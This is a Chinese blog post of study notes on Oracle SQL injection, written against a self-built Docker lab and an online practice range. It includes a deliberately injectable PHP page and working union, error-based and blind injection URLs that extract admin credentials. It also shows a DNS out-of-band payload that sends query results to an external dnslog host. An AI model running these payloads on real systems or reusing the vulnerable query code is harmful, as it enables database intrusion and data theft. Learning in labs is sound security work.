Oracle注入學習筆記


在 docker 搭建環境,盡量全面的實踐一下 oracle 注入漏洞(碎碎念:最近覺得有些迷茫,有些事情真的是命運的安排啊,既然暫時不知道該怎么辦就好好努力叭)對了,這里只記錄對我個人理解很有幫助的地方和我印象比較深的特性,其他更細節的內容可以參考官方文檔 https://docs.oracle.com/en/ 和文末師傅們的博客

一、環境搭建

1.1安裝oracle 12c並數據持久化

查詢鏡像:docker search oracle

 

下載鏡像:docker pull docker.io/truevoly/oracle-12c

查看鏡像:docker images

(刪除鏡像:docker rmi <your-image-id>)

 

創建備份數據存放目錄:

mkdir /usr/local/oracle/data_temp  && chmod 777 /usr/local/oracle/data_temp

啟動 oracle:

docker run --name myoracle --restart always -d -p 8080:8080 -p 1521:1521 -e ORACLE_ALLOW_REMOTE=true -v /usr/local/oracle/data_temp:/u01/app/oracle truevoly/oracle-12c

  • --name myoracle     容器名字
  • --restart alwaysdocker  重啟時容器自動啟動
  • -d                             后台運行容器並返回容器ID
  • -p 本機端口:容器端口    端口映射
  • -e ORACLE_ALLOW_REMOTE=true  設置允許遠程連接
  • -v 本地目錄:容器目錄                            掛載本地目錄,將數據保留在本機來達到數據持久化的目的

查看安裝進度:docker logs -f 容器ID

 

進入容器:docker exec -it myoracle env LANG=C.UTF-8 /bin/bash

  • -it                                容器名
  • env LANG=C.UTF-8  正常處理中文

創建 sqlplus 的軟鏈接:ln -s $ORACLE_HOME/bin/sqlplus /usr/bin

切換到 oracle 賬戶:su oracle

連接 oracle(以操作系統權限認證的 oracle sys 管理員登陸):sqlplus / as sysdba

 

新建用戶並賦予權限

#創建數據庫表空間名
SQL> create tablespace pentest datafile '/u01/app/oracle/oradata/xe/pentest.dbf' size 100m;

Tablespace created.

#創建用戶並指定表空間
SQL> create user sqltest identified by Ssdlh12345 default tablespace pentest;User created.

#賦權
SQL> grant connect,resource,dba to sqltest;

Grant succeeded.

SQL> exit
Disconnected from Oracle Database 12c Standard Edition Release 12.1.0.2.0 - 64bit Production

#sqltest用戶連接
oracle@b25a6b033f93:/$ $ORACLE_HOME/bin/sqlplus sqltest/Ssdlh12345

SQL*Plus: Release 12.1.0.2.0 Production on Mon Oct 25 06:30:45 2021

Copyright (c) 1982, 2014, Oracle.  All rights reserved.


Connected to:
Oracle Database 12c Standard Edition Release 12.1.0.2.0 - 64bit Production

SQL>

 

插入測試數據(數據參考博客貼在最后面了)

#建表
SQL> CREATE TABLE users (id number,name varchar(500),surname varchar(1000));

Table created.
#導入數據
SQL> INSERT INTO users (id, name, surname) VALUES (1, 'luther', 'blisset');
INSERT INTO users (id, name, surname) VALUES (2, 'fluffy', 'bunny');
INSERT INTO users (id, name, surname) VALUES (3, 'wu', 'ming');
INSERT INTO users (id, name, surname) VALUES (4, 'sqlmap/1.0-dev (http://sqlmap.org)', 'user agent header');
INSERT INTO users (id, name, surname) VALUES (5, NULL, 'nameisnull');
commit;

 

1.2安裝apache-php-oracle

查詢鏡像:docker search docker-apache-php-oracle

下載鏡像:docker pull thomasbisignani/docker-apache-php-oracle

啟動 apache-php-oracle:

docker run --name myphp -p 8090:80 -d -v /usr/local/oracle/sample:/var/www/html thomasbisignani/docker-apache-php-oracle 

查看安裝進度時有一個警告,但是不影響什么

 

在 /usr/local/oracle/sample 目錄新建 oracle 注入靶場文件 oracle_test.php

<?php

$username = 'sqltest';
$password = 'Ssdlh12345';

$connectText = '//ip.ip.ip.ip:1521/XE';
 $conn = oci_connect($username, $password, $connectText);
 if (!$conn) {
     $e = oci_error();
     echo 'Oracle connect failed <br />';
     exit($e['message']);
 }
 echo 'Oracle connect ok' . "<br>";
 // Prepare the statement
 if (!isset($_GET['id']) || $_GET['id'] == null) {
     echo "oracle sqlinjection test: oracle_test.php?id=1</br>";
     $stid = oci_parse($conn, "select * from USERS");
 } else {
     //SQL injection!!!!!!
     $stid = oci_parse($conn, "SELECT * FROM users where id=" . $_GET['id']);
 }
 if (!$stid) {
     $e = oci_error($conn);
     exit($e['message']);
 }
 // Perform the logic of the query
 $r = oci_execute($stid);
 if (!$r) {
     $e = oci_error($stid);
     exit($e['message']);
 }
 // Fetch the results of the query
 print "<table border='1'>\n";
 while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
     print "<tr>\n";
     foreach ($row as $item) {
         $item = ($item !== null ? mb_convert_encoding($item, 'utf-8', 'gbk') : " ");
         print "    <td>" . $item . "</td>\n";
     }
     print "</tr>\n";
 }
 print "</table>\n";
 oci_free_statement($stid);
 oci_close($conn);
 ?>

 

瀏覽器訪問

 

1.3測試環境啟動小結

每次實驗完停止並刪除容器

docker stop myoracle
docker rm myoracle
docker stop myphp
docker rm myphp

 

需要時再次執行以下命令啟動環境

#啟動oracle
docker run --name myoracle --restart always -d -p 8080:8080 -p 1521:1521 -e ORACLE_ALLOW_REMOTE=true -v /usr/local/oracle/data_temp:/u01/app/oracle truevoly/oracle-12c

#啟動apache-php-oracle
docker run --name myphp -p 8090:80 -d -v /usr/local/oracle/sample:/var/www/html thomasbisignani/docker-apache-php-oracle

#進入oracle容器里面
docker exec -it myoracle env LANG=C.UTF-8 /bin/bash

#以sqltest身份進入oracle命令行
$ORACLE_HOME/bin/sqlplus sqltest/Ssdlh12345

#修改php
修改/usr/local/oracle/sample下的文件

#瀏覽器訪問
vps ip:8090

 

二、oracle基礎學習

快速掌握新知識的一個好方法是,學習它的特性和類比其它已經掌握的知識,對照着學習它和舊知識的共同點和不同點,學習 oracle 基礎知識瀏覽了很多博客,發現很多師傅都是按照這個思路講解,在這里記錄一些對於我來說理解 oracle 基礎很有幫助的思路,參考博客都貼在最后了

2.1oracle特性

  • 數據庫中使用的語言有三種:SQL,JAVA,PL/SQL(塊結構語言,類似存儲過程是一種過程化的語言)
  • 一個新概念:表空間(數據文件就是由多個表空間組成的,這些數據文件和相關文件形成一個完整的數據庫),oracle 沒有 mysql 的數據庫概念,而是用表空間來代替,一個 oracle 只有一個數據庫,它給賬戶開辟數據庫空間,稱之為表空間,創建數據庫就是開辟賬戶的表空間
  • 當數據庫創建時,oracle 會默認創建五個表空間:SYSTEM、SYSAUX、USERS、UNDOTBS、TEMP

1.SYSTEM:存儲系統表和管理配置等基本信息

(系統表:

      • DBA_TABLES : 系統里所有的表的信息,需要DBA權限才能查詢
      • ALL_TABLES : 當前用戶有權限的表的信息(只要對某個表有任何權限,即可在此視圖中看到表的相關信息)
      • USER_TABLES: 當前用戶名下的表的信息
      • DBA_ALL_TABLES:DBA 用戶所擁有的或有訪問權限的對象和表
      • ALL_ALL_TABLES:某一用戶擁有的或有訪問權限的對象和表
      • USER_ALL_TABLES:某一用戶所擁有的對象和表)

2.SYSAUX:類似SYSTEM,主要存放一些系統附加信息,以便減輕SYSTEM的空間負擔

3.UNDOTBS:用於事務回退等

4.TEMP:作為緩存空間減少內存負擔

5.USERS:存儲我們定義的表和數據

  • 虛表 dual:它沒有實際的存儲意義,永遠只存儲一條數據,因為 oracle 的語法要求 select 后必須跟上 from,所以通常使用 dual 來作為計算、查詢時間等SQL語句中 from 之后的虛表占位,例如 select 1+1 from dual
  • 角色:oracle 對於將用戶權限的集合稱為角色
    1. DBA:擁有全部特權,是系統最高權限,只有 dba 才可以創建數據庫結構
    2. RESOURCE:擁有 resource 權限的用戶只可以創建實體,不可以創建數據庫結構
    3. CONNECT:擁有 connect 權限的用戶只可以登錄 oracle,不可以創建實體,不可以創建數據庫結構
  • 用戶:創建數據庫時,會默認啟用 sys、system 等用戶
    1. sys:相當於 linux 的 root 用戶,dba 角色
    2. system:與 sys 類似,但是相對於 sys 用戶,無法修改一些關鍵的系統數據,這些數據維持着數據庫的正常運行,為 dba 角色
    3. public:public 代指所有用戶,對其操作會應用到所有用戶上(所有用戶都有 public 用戶擁有的權限,如果將 dba 權限給了 public,那么也就意味着所有用戶都有了 dba 權限)

 

2.2語法

語法這里和熟悉的 mysql 對照着看

查詢服務器版本:

#oracle
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT version FROM v$instance;
#mysql
select version();

 

查詢數據庫信息:

#oracle
SELECT global_name FROM global_name; 
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;
#mysql
select database();

 

查詢數據庫用戶:

#oracle
SELECT user FROM dual;
#mysql
user();

 

查詢表名:

#oracle
SELECT table_name FROM all_tables;
#mysql
select table_name from information_schema.tables;

 

查詢字段名:

#oracle
SELECT column_name FROM all_tab_columns;
#mysql
select COLUMN_NAME from information_schema.COLUMNS;

 

拼接字符:

#oracle
SELECT 'a' || 'b' FROM dual;
#mysql
select 'a' 'b';

 

空字符串:

#oracle
只有null,沒有空字符
#mysql
區分null和''空字符串

 

第 n 行數據:

#oracle
select * from users where rownum <=2;
#mysql
select * from users limit 2;

 

2.2注入

2.3.1聯合注入

原本是想用我自己搭在服務器上的靶場實驗的,但是由於國外服務器配置低 + 延時高 + 開了兩個容器太卡了(meiqianmaigaopei),為了節約那么多卡住等待的時間,還是換成 oracle 在線靶場實驗吧,靶場:http://o1.lab.aqlab.cn:81/?id=1

判斷注入點和注入類型,為數字型注入

http://o1.lab.aqlab.cn:81/?id=1 and 1<>2    頁面顯示正常
http://o1.lab.aqlab.cn:81/?id=1 and 1<>1    頁面顯示不正常

 

判斷字段數為 4

http://o1.lab.aqlab.cn:81/?id=1 order by 4    頁面顯示正常
http://o1.lab.aqlab.cn:81/?id=1 order by 5    頁面顯示不正常

 

分別在 4 個字段輸出字符,判斷回顯點為第 2 位,to_nchar() 函數可以將字符數據從任何支持的字符集轉換為NCHAR字符集,NCHAR數據類型是固定長度的UNICODE數據,NCHAR和CHAR是不能直接互相兼容的,要通過 Oracle 的函數或者語法進行轉換

http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union select null,to_nchar('abc'),null,null from dual    頁面顯示字符abc

 

查詢表名

http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union select null,to_nchar(table_name),null,null from user_tables where rownum=1--
查詢第一個表名為NEWS
http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union select null,to_nchar(table_name),null,null from user_tables where table_name<>'NEWS'--
查詢第二個表名為ADMIN
http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union select null,to_nchar(table_name),null,null from user_tables where table_name<>'NEWS' and table_name<>'ADMIN'--
查詢第三個表名為MD5
http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union select null,to_nchar(table_name),null,null from user_tables where table_name<>'NEWS' and table_name<>'ADMIN' and table_name<>'MD5'--
提示沒有找到對應的數據即一共只有三個數據表,分別為NEWS、ADMIN、MD5

 

這樣一個一個的查表效率有點低,還可以先查詢用戶名,再用類似 mysql 中 group_concat() 的方式查詢表名

http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union select 1,to_nchar((select user from dual)),null,null from dual--
查詢用戶名為ORACLE1
http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union select 1,to_nchar((select LISTAGG(table_name,',')within group(order by owner)name from all_tables where owner='ORACLE1')),null,null from dual --
查詢表名

 

查詢ADMIN表的字段名為UNAME和UPASS

http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union all select null,to_nchar(column_name),null,null from user_tab_columns where rownum=1 and table_name ='ADMIN'--
查詢第一個字段名為UNAME
http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union all select null,to_nchar(column_name),null,null from user_tab_columns where rownum=1 and table_name ='ADMIN' and column_name<>'UNAME'--
查詢第二個字段名為UPASS

 

獲取表中數據,這里只查詢ADMIN表中的一組數據,原理和查詢表名、字段名相同

http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union all select null,to_nchar(UNAME),null,null from ADMIN where rownum=1--
查詢ADMIN表中的一條UNAME數據

 

http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union all select null,to_nchar(UPASS),null,null from ADMIN where UNAME='OCI'--
查詢UNAME為OCI的UPASS數據

 

2.3.2報錯注入

可以使用的報錯注入函數有很多種,這里就實驗比較常見的 ctxsys.drithsx.sn() 函數,其他報錯函數語法類似,有需要時再查即可。此函數在 oracle 中用於處理文本,當傳入參數類型錯誤時,會返回異常報錯,注入方法是 1=ctxsys.drithsx.sn(1,(查詢語句)) ,靶場和上文相同

查詢表名

http://o1.lab.aqlab.cn:81/?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))--
查詢第一個表名為ADMIN
http://o1.lab.aqlab.cn:81/?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name <> 'ADMIN'))--
查詢第二個表名為NEWS
http://o1.lab.aqlab.cn:81/?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name <> 'ADMIN' and table_name <> 'NEWS'))--
查詢第三個表名為MD5

 

查詢ADMIN表的字段名為UNAME和UPASS

http://o1.lab.aqlab.cn:81/?id=1 and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1 and table_name = 'ADMIN'))--
查詢ADMIN表的第一個字段名為UNAME
http://o1.lab.aqlab.cn:81/?id=1 and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1 and table_name = 'ADMIN' and column_name <> 'UNAME'))--
查詢ADMIN表的第二個字段名為UPASS

 

獲取表中數據,這里只查詢ADMIN表中的一組數據

http://o1.lab.aqlab.cn:81/?id=1 and 1=ctxsys.drithsx.sn(1,(select UNAME from ADMIN where rownum=1))--
查詢ADMIN表中的一條UNAME數據
http://o1.lab.aqlab.cn:81/?id=1 and 1=ctxsys.drithsx.sn(1,(select UPASS from ADMIN where UNAME='OCI'))--
查詢UNAME為OCI的UPASS數據

 

2.3.3布爾盲注

靶場和上文相同,由上文可知ADMIN表中第一條UNAME數據為OCI,手工驗證一下,只有嘗試到字符C時頁面顯示正常,其余顯示“沒有找到對應數據”,可以用 burp 或者寫腳本的方式批量查詢數據

http://o1.lab.aqlab.cn:81/?id=1 and 1=(select decode(substr((select UNAME from ADMIN where rownum=1),2,1),'C',1,0) from dual)--
查詢ADMIN表中UNAME第一條數據的第二個字母為C

 

解釋一下布爾盲注使用的函數:

  • decode(字段或字段運算,值1,值2,值3)

這個函數運行的結果是,當字段或字段運算的值等於值1時,該函數返回值2,否則返回3

  • substr(需要截取的字符串,起始位置,截取長度)

注:起始位置從0和從1開始都是表示從字符串首位開始截取

 

2.3.4時間盲注

在這個靶場上我實驗了兩種時間盲注方式沒有成功,先記錄下學到的知識點,以后找機會實踐吧,第一種方式是 decode() 函數與高耗時SQL操作組合進行時間盲注,因為 (select count(*) from all_objects) 是對數據庫中大量數據進行查詢或其他處理的操作,這樣的操作會耗費較多的時間,可以通過這個方式來獲取數據,但是可能由於這個靶場數據量太小了,高耗時的現象不明顯導致無法判斷,所以這個方法的缺點是不太准

http://o1.lab.aqlab.cn:81/?id=1 and 1=(select decode(substr((select UNAME from ADMIN where rownum=1),2,1),'C',(select count(*) from all_objects),0) from dual)--

 

第二種盲注原理是 dbms_pipe.receive_message() 函數將為從RDS管道返回的數據等待 5 秒,默認情況下允許以 public 權限執行,我這里兩條語句報錯都是下圖,推測是 oracle 版本問題,如果是我語句構造的問題歡迎實驗成功的師傅留言或私信

http://o1.lab.aqlab.cn:81/?id=1 and 1=dbms_pipe.receive_message('RDS', 5)--
判斷時間盲注
http://o1.lab.aqlab.cn:81/?id=1 and 1=(select decode(substr((select UNAME from ADMIN where rownum=1),2,1),'C',dbms_pipe.receive_message('RDS',5),0) from dual)--
查詢ADMIN表中UNAME第一條數據的第二個字母為C

 

2.3.5OOB查詢

OOB是 Out Of Band Channels 的縮寫,譯為帶外通道。它使用一些除常規通道以外的替代的信道來請求服務器資源,一般使用 Oracle 發送HTTP或者DNS請求,將查詢結果帶到請求中,然后監測外網服務器的HTTP和DNS日志,從日志中獲取 sql 語句查詢的結果,這個原理和我曾經寫過的一篇利用 dnslog 進行 sql 盲注的隨筆很像,地址是:https://www.cnblogs.com/wkzb/p/12682073.html

這里實驗一下DNS解析帶外,使用的是 utl_inaddr.get_host_address() 函數,還有一些其他函數也可以實現同樣的效果,語法類似,有需要時再查即可

http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union select null,to_nchar(utl_inaddr.get_host_address((select UNAME from ADMIN where rownum=1)||'.crmg79.dnslog.cn')),null,null from dual--
查詢ADMIN表中的一條UNAME數據

 

在此靶場上沒有實驗成功,搜索報錯找到失敗原因是沒有為目標主機分配訪問控制列表(ACL),或者訪問控制列表中的用戶沒有授予訪問目標主機所需的權限,所以語句是沒有問題的,有合適機會的時候再嘗試這種數據查詢方式吧

 

三、總結

寫這篇筆記時中途又去學習了任意郵件偽造的相關知識(學習成果是前兩篇隨筆),所以斷斷續續用了幾個晚上才學習、整理完 oracle 注入筆記。有 mysql 注入的基礎后 oracle 注入很快就可以入門,無論是常規的幾種注入方式還是帶外通道查詢原理都是相通的,如果本文出現了技術錯誤歡迎師傅們批評指正~

如果在自己的 vps 上實驗還可以直接在命令行執行 sql 查詢語句,這樣可以更直觀的理解(壞就壞在我的 vps 太卡了嚴重影響了效率,但是它太便宜了我又舍不得換,有錢了一定買個不卡的!!)對了在此提醒自己有機會還要再實驗一下 oracle 提權、oracle xxe 等其他操作

 

 

參考文章:

https://www.jianshu.com/p/fb00d47ba3d9

https://www.fengwenhua.top/index.php/archives/39/

https://about.sentrylab.cn/help/ALL-SQL-INJECTION-ANALYSIS/

https://y4er.com/post/oracle-sql-inject/

https://www.tr0y.wang/2019/04/16/Oracle%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/

https://www.chabug.org/web/1827.html

https://www.jianshu.com/p/5a4d6ab26bc6

https://www.zhihuifly.com/t/topic/1321

https://xz.aliyun.com/t/7897#toc-10

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM